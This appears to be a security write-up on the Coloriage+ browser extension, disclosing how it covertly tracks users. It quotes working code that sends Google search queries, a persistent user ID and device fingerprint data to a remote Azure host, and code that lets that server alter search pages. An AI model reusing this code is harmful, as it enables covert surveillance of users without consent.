Coloriage+

Every Google search query the user types (`qs['q']`) is transmitted to a third-party Azure endpoint (`coloriage.azurewebsites.net/service`) along with a persistent user GUID (`g`), a user install timestamp (`i`), a session token (`lsyc`), device fingerprint data (`chd`), and a timestamp. This constitutes covert surveillance of all Google search activity, associating each query with a persistent cross-session user identity.

function process(qs, g, i) {  if (qs && qs['q'] && !qs['tbm'] && qs['q'].length > 0 && g != '' && i > 0) {    var content = document.createElement('iframe');    content.src = 'https://coloriage.azurewebsites.net/service?context=' + encodeURIComponent(qs['q']) + '&g=' +      encodeURIComponent(g) + '&i=' + encodeURIComponent(i) + '&lsyc=' + encodeURIComponent(lsyc) + '&chd=' +      encodeURIComponent(chd) + '&t=' + (new Date()        .getTime());    content.id = 'container_layer';

The extension injects an invisible iframe loading content from `coloriage.azurewebsites.net`, then listens for `postMessage` commands from that remote server. The remote server can issue commands (`m0`, `m1`) that manipulate the Google search results page DOM (repositioning, padding injection), effectively allowing the remote server to control and alter what the user sees on google.com. It also stores a server-issued session token (`lsyc`) that persists across sessions for tracking continuity.

var message_handler = function(e) {  if (e.origin == 'https://coloriage.azurewebsites.net') {    try {      if (e.data[3] && /^[\w]{64,256}$/.test(e.data[3])) {        chrome.storage.local.set({          'lsyc': e.data[3]        });      }    } catch (ex) {}    switch (e.data[0]) {      case 'm0':        render('search', null, null);        break;      case 'm1':        render('taw', e.data[1], content);        break;    }  }};window.addEventListener('message', message_handler, false);

The extension collects high-entropy Client Hints values (CPU architecture, bitness, device model, full OS/browser version strings) and base64-encodes them into a `chd` variable. This fingerprinting data is then silently exfiltrated to `coloriage.azurewebsites.net` as a query parameter on every Google search the user performs, enabling precise device fingerprinting without user knowledge or consent.

try {  if (navigator.userAgentData) {    navigator.userAgentData.getHighEntropyValues(['architecture', 'bitness', 'model', 'platformVersion',        'uaFullVersion', 'fullVersionList'      ])      .then((values) => {        chd = btoa(JSON.stringify(values));      })      .catch((error) => {        chd = 'er';      });  }} catch (e) {  chd = 'ex';}

The extension generates and persistently stores a unique user GUID and install timestamp in `chrome.storage.local`, then passes both to `post_init()` which ultimately sends them to the remote tracking server with every search. This creates a permanent, cross-session identity for the user that is tied to all their Google search activity.

chrome.storage.local.get(['user_guid', 'user_time', 'new_install', 'new_install_check', 'lsyc'], function(data) {  var user_guid = '',    user_time = 0,    new_install = false;  // ...  if (user_guid == '') {    user_guid = gen_guid();    save = true;  }  if (user_time == 0) {    user_time = (new Date())      .getTime();    save = true;  }  if (save) {    chrome.storage.local.set({      'user_guid': user_guid,      'user_time': user_time    });  }} catch (e) {}post_init(user_guid, user_time);});

The injected iframe is explicitly granted a wide set of Client Hints permissions (`ch-ua-arch`, `ch-ua-bitness`, `ch-ua-full-version`, `ch-ua-full-version-list`, `ch-ua-model`, `ch-ua-platform-version`), giving the remote `coloriage.azurewebsites.net` server direct access to high-entropy device fingerprinting data from within the iframe context on Google's domain.

content.setAttribute('allow',  'ch-ua-arch;ch-ua-bitness;ch-ua-full-version;ch-ua-full-version-list;ch-ua-model;ch-ua-platform-version');

The CSS hides Google's main search results container (`#rcnt`) by setting its opacity to 0 at `document_start`. This runs before the page renders, blanking all organic search results. The results are only revealed (opacity set back to 1) after the extension's remote iframe has loaded and issued a command — effectively holding the search results page hostage until the extension's tracking/injection code completes.

#rcnt {  opacity: 0;}

On first install, the extension opens a remote URL (`coloriage.azurewebsites.net/install`) and immediately closes the user's active tab — a deceptive pattern that redirects the user away from whatever they were doing. Combined with `setUninstallURL`, the extension tracks both install and uninstall events at the remote server, indicating user lifecycle surveillance.

chrome.tabs.query({  active: true,  lastFocusedWindow: true}, function(tabs) {  chrome.tabs.create({    url: 'https://coloriage.azurewebsites.net/install'  }, function(tab) {    try {      chrome.tabs.remove(tabs[0].id);    } catch (e) {}  });});

This content script injects a meta tag with `name='coloriageplus'` into pages on the coloriageetdessins.com and related domains at `document_start` (before page load). While low-severity on its own, this tag acts as a beacon or flag that external scripts on those pages can detect to identify that the extension is installed — enabling cross-site extension detection by the operator's own properties.

var meta = document.createElement('meta');meta.name = 'coloriageplus';meta.content = '1.0';document.documentElement.appendChild(meta);